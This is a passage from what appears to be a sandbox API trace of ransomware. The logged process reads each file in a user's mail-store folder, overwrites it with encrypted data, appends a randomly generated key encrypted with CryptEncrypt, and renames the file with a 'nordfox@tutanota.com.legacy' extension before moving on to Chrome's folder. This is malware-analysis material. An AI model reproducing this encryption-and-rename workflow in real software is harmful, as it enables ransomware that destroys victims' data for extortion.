Size=0x300000) returned 0x312c020 [0147.009] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3433020 [0147.017] ReadFile (in: hFile=0x7ec, lpBuffer=0x312c020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312c020*, lpNumberOfBytesRead=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0147.139] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.139] WriteFile (in: hFile=0x7ec, lpBuffer=0x3433020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3433020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0147.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312c020 | out: hHeap=0x520000) returned 1 [0147.182] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3433020 | out: hHeap=0x520000) returned 1 [0147.195] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x300000 [0147.195] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0147.195] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0147.195] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0147.203] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0147.203] CloseHandle (hObject=0x7ec) returned 1 [0147.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0147.203] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0147.203] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00001.jrs"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USSres00001.jrs.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\ussres00001.jrs.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0147.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0147.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0147.207] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0147.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0147.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0147.207] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33d8 [0147.207] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0147.207] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33d8 | out: pbBuffer=0x5c33d8) returned 1 [0147.207] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx", dwFileAttributes=0x80) returned 1 [0147.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x563b10 [0147.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0147.208] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563b10 | out: hHeap=0x520000) returned 1 [0147.208] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0147.208] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3145728) returned 1 [0147.208] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3126020 [0147.215] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x300000) returned 0x3435020 [0147.222] ReadFile (in: hFile=0x7ec, lpBuffer=0x3126020, nNumberOfBytesToRead=0x300000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3126020*, lpNumberOfBytesRead=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0147.351] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-3145728, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.351] WriteFile (in: hFile=0x7ec, lpBuffer=0x3435020*, nNumberOfBytesToWrite=0x300000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3435020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x300000, lpOverlapped=0x0) returned 1 [0147.376] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3126020 | out: hHeap=0x520000) returned 1 [0147.389] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3435020 | out: hHeap=0x520000) returned 1 [0147.404] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x300000 [0147.404] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0147.404] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0147.404] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0147.415] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c33d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0147.415] CloseHandle (hObject=0x7ec) returned 1 [0147.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0147.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33d8 | out: hHeap=0x520000) returned 1 [0147.415] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0147.417] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0147.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0147.418] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0147.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0147.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0147.418] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0147.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0147.418] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0147.418] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp", dwFileAttributes=0x80) returned 1 [0147.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0147.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0147.419] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0147.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jcp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0147.419] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0147.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x614418 [0147.419] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x616420 [0147.419] ReadFile (in: hFile=0x7ec, lpBuffer=0x614418, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614418*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0147.434] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0147.434] WriteFile (in: hFile=0x7ec, lpBuffer=0x616420*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x616420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0147.434] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614418 | out: hHeap=0x520000) returned 1 [0147.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x616420 | out: hHeap=0x520000) returned 1 [0147.435] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0147.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0147.435] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0147.435] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0147.435] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0147.435] CloseHandle (hObject=0x7ec) returned 1 [0147.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0147.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0147.435] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jcp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\USS.jcp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\uss.jcp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0147.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0147.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0147.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0147.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0147.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0147.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0147.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4320 | out: pbBuffer=0x5c4320) returned 1 [0147.437] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0147.437] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol", dwFileAttributes=0x80) returned 1 [0147.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5677d8 [0147.437] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b4a8 [0147.437] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5677d8 | out: hHeap=0x520000) returned 1 [0147.437] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.vol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0147.438] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=14155776) returned 1 [0147.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd80000) returned 0x312c020 [0147.465] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd80000) returned 0x3ebd020 [0147.492] ReadFile (in: hFile=0x7ec, lpBuffer=0x312c020, nNumberOfBytesToRead=0xd80000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312c020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd80000, lpOverlapped=0x0) returned 1 [0149.036] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-14155776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.036] WriteFile (in: hFile=0x7ec, lpBuffer=0x3ebd020*, nNumberOfBytesToWrite=0xd80000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3ebd020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd80000, lpOverlapped=0x0) returned 1 [0149.194] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312c020 | out: hHeap=0x520000) returned 1 [0149.248] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ebd020 | out: hHeap=0x520000) returned 1 [0149.302] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd80000 [0149.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0149.302] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4320*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0149.303] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c4320*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4320*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0149.304] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0149.304] CloseHandle (hObject=0x7ec) returned 1 [0149.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0149.304] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0149.304] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.vol"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.vol.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.vol.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0149.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b4a8 | out: hHeap=0x520000) returned 1 [0149.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0149.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567418 | out: hHeap=0x520000) returned 1 [0149.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0149.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0149.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0149.306] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0149.306] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0149.306] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm", dwFileAttributes=0x80) returned 1 [0149.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567670 [0149.306] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b070 [0149.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567670 | out: hHeap=0x520000) returned 1 [0149.306] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0149.307] GetFileSizeEx (in: hFile=0x7ec, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=16384) returned 1 [0149.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x614418 [0149.307] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4000) returned 0x618420 [0149.307] ReadFile (in: hFile=0x7ec, lpBuffer=0x614418, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x614418*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0149.308] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.308] WriteFile (in: hFile=0x7ec, lpBuffer=0x618420*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x618420*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0149.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x614418 | out: hHeap=0x520000) returned 1 [0149.308] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x618420 | out: hHeap=0x520000) returned 1 [0149.308] SetFilePointer (in: hFile=0x7ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0149.308] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0149.308] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0149.309] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0149.309] WriteFile (in: hFile=0x7ec, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0149.309] CloseHandle (hObject=0x7ec) returned 1 [0149.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0149.309] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0149.309] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.jfm"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Comms\\UnistoreDB\\store.jfm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\comms\\unistoredb\\store.jfm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b070 | out: hHeap=0x520000) returned 1 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5675f8 | out: hHeap=0x520000) returned 1 [0149.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x585b10 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5854f8 | out: hHeap=0x520000) returned 1 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b88 | out: hHeap=0x520000) returned 1 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0149.311] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe1af30e0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c618 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0149.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0149.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0149.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0149.311] GetLastError () returned 0x0 [0149.311] SetLastError (dwErrCode=0x0) [0149.311] GetLastError () returned 0x0 [0149.311] SetLastError (dwErrCode=0x0) [0149.311] GetLastError () returned 0x0 [0149.311] SetLastError (dwErrCode=0x0) [0149.311] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x563ab8 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ab8 | out: hHeap=0x520000) returned 1 [0149.312] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610338 | out: hHeap=0x520000) returned 1 [0149.312] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0149.312] FindNextFileW (in: hFindFile=0x60c618, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a3bd622, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4aa60657, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe1af30e0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", 